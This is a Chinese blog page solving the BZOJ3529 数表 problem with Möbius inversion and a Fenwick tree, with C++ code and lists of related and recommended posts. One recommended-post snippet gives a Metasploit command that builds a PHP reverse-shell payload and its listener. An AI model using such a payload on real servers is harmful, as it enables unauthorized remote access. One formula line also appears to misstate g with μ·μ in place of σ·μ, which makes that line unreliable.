[BZOJ3529]数表
假设$n\leq m$,我们先不考虑$\leq a$的限制
$\sum\limits_{i=1}^n\sum\limits_{j=1}^m\sigma((i,j))=\sum\limits_{T=1}^n\left\lfloor\frac nT\right\rfloor\left\lfloor\frac mT\right\rfloor\sum\limits_{d|T}\sigma(d)\mu\left(\frac Td\right)$
我们可以线性筛出$g(n)=\sum\limits_{d|n}\mu(d)\mu\left(\frac nd\right)$并$O(\sqrt n)$回答询问
现在加上了$\leq a$的限制,其实就是只计算$\sigma(d)\leq a$的$d$
考虑离线,把所有询问按$a$排序,按$\sigma(d)$从小到大更新$g$(更新$d$的倍数处的$g$)就可以做了
用树状数组维护$g$,时间复杂度$O\left(n\log_2^2n+q\sqrt n\log_2n\right)$
#include<stdio.h> #include<algorithm> using namespace std; typedef long long ll; const int T=100000; int pr[T+10],mu[T+10],d[T+10],sd[T+10]; bool np[T+10]; void sieve(){ int i,j,M; M=0; mu[1]=1; d[1]=1; sd[1]=1; for(i=2;i<=T;i++){ if(!np[i]){ pr[++M]=i; mu[i]=-1; d[i]=i; sd[i]=i+1; } for(j=1;j<=M&&i*pr[j]<=T;j++){ np[i*pr[j]]=1; if(i%pr[j]==0){ d[i*pr[j]]=d[i]*pr[j]; sd[i*pr[j]]=sd[i/d[i]]*(sd[d[i]]*pr[j]+1); break; } mu[i*pr[j]]=-mu[i]; d[i*pr[j]]=pr[j]; sd[i*pr[j]]=sd[i]*sd[pr[j]]; } } } int s[100010]; int lowbit(int x){return x&-x;} void add(int x,int d){ while(x<=T){ s[x]+=d; x+=lowbit(x); } } int query(int x){ int r=0; while(x){ r+=s[x]; x-=lowbit(x); } return r; } struct ask{ int n,m,a,i; }q[100010]; bool operator<(ask a,ask b){return a.a<b.a;} int p[100010],ans[100010]; bool cmp(int a,int b){return sd[a]<sd[b];} #define qn q[i].n #define qm q[i].m int main(){ sieve(); int m,M,i,j,nex,s; scanf("%d",&m); for(i=1;i<=m;i++){ scanf("%d%d%d",&qn,&qm,&q[i].a); if(qn>qm)swap(qn,qm); q[i].i=i; } sort(q+1,q+m+1); for(i=1;i<=T;i++)p[i]=i; sort(p+1,p+T+1,cmp); M=1; for(i=1;i<=m;i++){ while(M<=T&&sd[p[M]]<=q[i].a){ for(j=p[M];j<=T;j+=p[M]){ if(mu[j/p[M]])add(j,sd[p[M]]*mu[j/p[M]]); } M++; } s=0; for(j=1;j<=qn;j=nex+1){ nex=min(qn/(qn/j),qm/(qm/j)); s+=(qn/j)*(qm/j)*(query(nex)-query(j-1)); } ans[q[i].i]=s; } for(i=1;i<=m;i++)printf("%d\n",ans[i]&2147483647); }
[BZOJ3529]数表的更多相关文章
- 【BZOJ3529】数表(莫比乌斯反演,树状数组)
[BZOJ3529]数表(莫比乌斯反演,树状数组) 题解 首先不管\(A\)的范围的限制 要求的东西是 \[\sum_{i=1}^n\sum_{j=1}^m\sigma(gcd(i,j))\] 其中\ ...
- 【BZOJ3529】[Sdoi2014]数表 莫比乌斯反演+树状数组
[BZOJ3529][Sdoi2014]数表 Description 有一张N×m的数表,其第i行第j列(1 < =i < =礼,1 < =j < =m)的数值为能同时整除i和 ...
- [bzoj3529][Sdoi2014]数表_树状数组_莫比乌斯反演
数表 bzoj-3529 Sdoi-2014 题目大意:n*m的数表,第i行第j列的数是同时整除i和j的所有自然数之和.给定a,求数表中所有不超过a的和. 注释:$1\le n,m \le 10^5$ ...
- 【BZOJ3529】【莫比乌斯反演 + 树状数组】[Sdoi2014]数表
Description 有一张N×m的数表,其第i行第j列(1 < =i < =礼,1 < =j < =m)的数值为 能同时整除i和j的所有自然数之和.给定a,计算数表中不大于 ...
- 【BZOJ3529】【SDOI2014】 数表
Time Limit: 10 Sec Memory Limit: 512 MB Description 有一张\(n×m\)的数表,其第i行第j列(\(,1 \le i \leq n,1 \le ...
- 【BZOJ3529】【SDOI2014】数表
Time Limit: 1000 ms Memory Limit: 512 MB Description 有一张n×m的数表,其第i行第j列 (1≤i≤n,1≤j≤m)的数值为能同时整除i和j的所有自 ...
- 【BZOJ3529】数表
数表 Description 有一张 n*m 的数表,其第i行第j列(1<=i<=n,1<=j<=m)的数值为能同时整除 i和j的所有自然数之和.给定a,计算数表中不大于a的数 ...
- bzoj千题计划205:bzoj3529: [Sdoi2014]数表
http://www.lydsy.com/JudgeOnline/problem.php?id=3529 有一张n*m的数表,其第i行第j列(1 < =i < =n,1 < =j & ...
- 【SDOI2014】【BZOJ3529】数表
Description 有一张N×m的数表,其第i行第j列(1 < =i < =礼.1 < =j < =m)的数值为 能同一时候整除i和j的全部自然数之和.给定a,计算数表中不 ...
随机推荐
- Watchcow(POJ2230+双向欧拉回路+打印路径)
题目链接:http://poj.org/problem?id=2230 题目: 题意:给你m条路径,求一条路径使得从1出发最后回到1,并满足每条路径都恰好被沿着正反两个方向经过一次. 思路:由于可以回 ...
- this指针再解
this.new.call和apply的相关问题 讲解this指针的原理是个很复杂的问题,如果我们从javascript里this的实现机制来说明this,很多朋友可能会越来越糊涂,因此本篇打算换一 ...
- Java多线程学习(三)volatile关键字
转载请备注地址:https://blog.csdn.net/qq_34337272/article/details/79680693 系列文章传送门: Java多线程学习(一)Java多线程入门 Ja ...
- msf web脚本反弹shell
msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php msf > use multi/handle ...
- Style2Paints:用AI技术为线稿快速上色的工具(GitHub 3310颗星)
python 开源项目: Style2Paints:用AI技术为线稿快速上色的工具(GitHub 3310颗星) https://github.com/lllyasviel/style2paints
- C# 读写XML文件示例
using System; using System.Collections.Generic; using System.Text; using System.Configuration; using ...
- [New learn]讲解Objective-c的block知识-实践
1.简介 在之前的文章[New learn]讲解Objective-c的block知识中介绍了block的相关知识.本章中我们将以一个实际例子来简单介绍一下block如何代替代理. 2.原有通过代理实 ...
- PHP在变量前面加&是什么意思
比如: <? php $a = 'c' ; $b = & $a ; //表示$b 和 $a 引用了同一个变量 $a = 'abc' ; //这里重置了$a echo $b ; //将输出 ...
- 关于 拼接 url 连接 参数的问题(爬虫)。
比如这里 我找的 后台请求的json的链接: 第一页: http://www.igoldenbeta.com:8080/cn-jsfund-server-mobile/bkt/api?appkey=1 ...
- CF914F Substrings in a String
Description 给你一个字符串ss,共有qq次操作,每个都是下面两种形式的一种. 11 ii cc 这个操作表示将字符串ss的第ii项变为字符cc 22 ll rr yy 这个操作表示输出字符 ...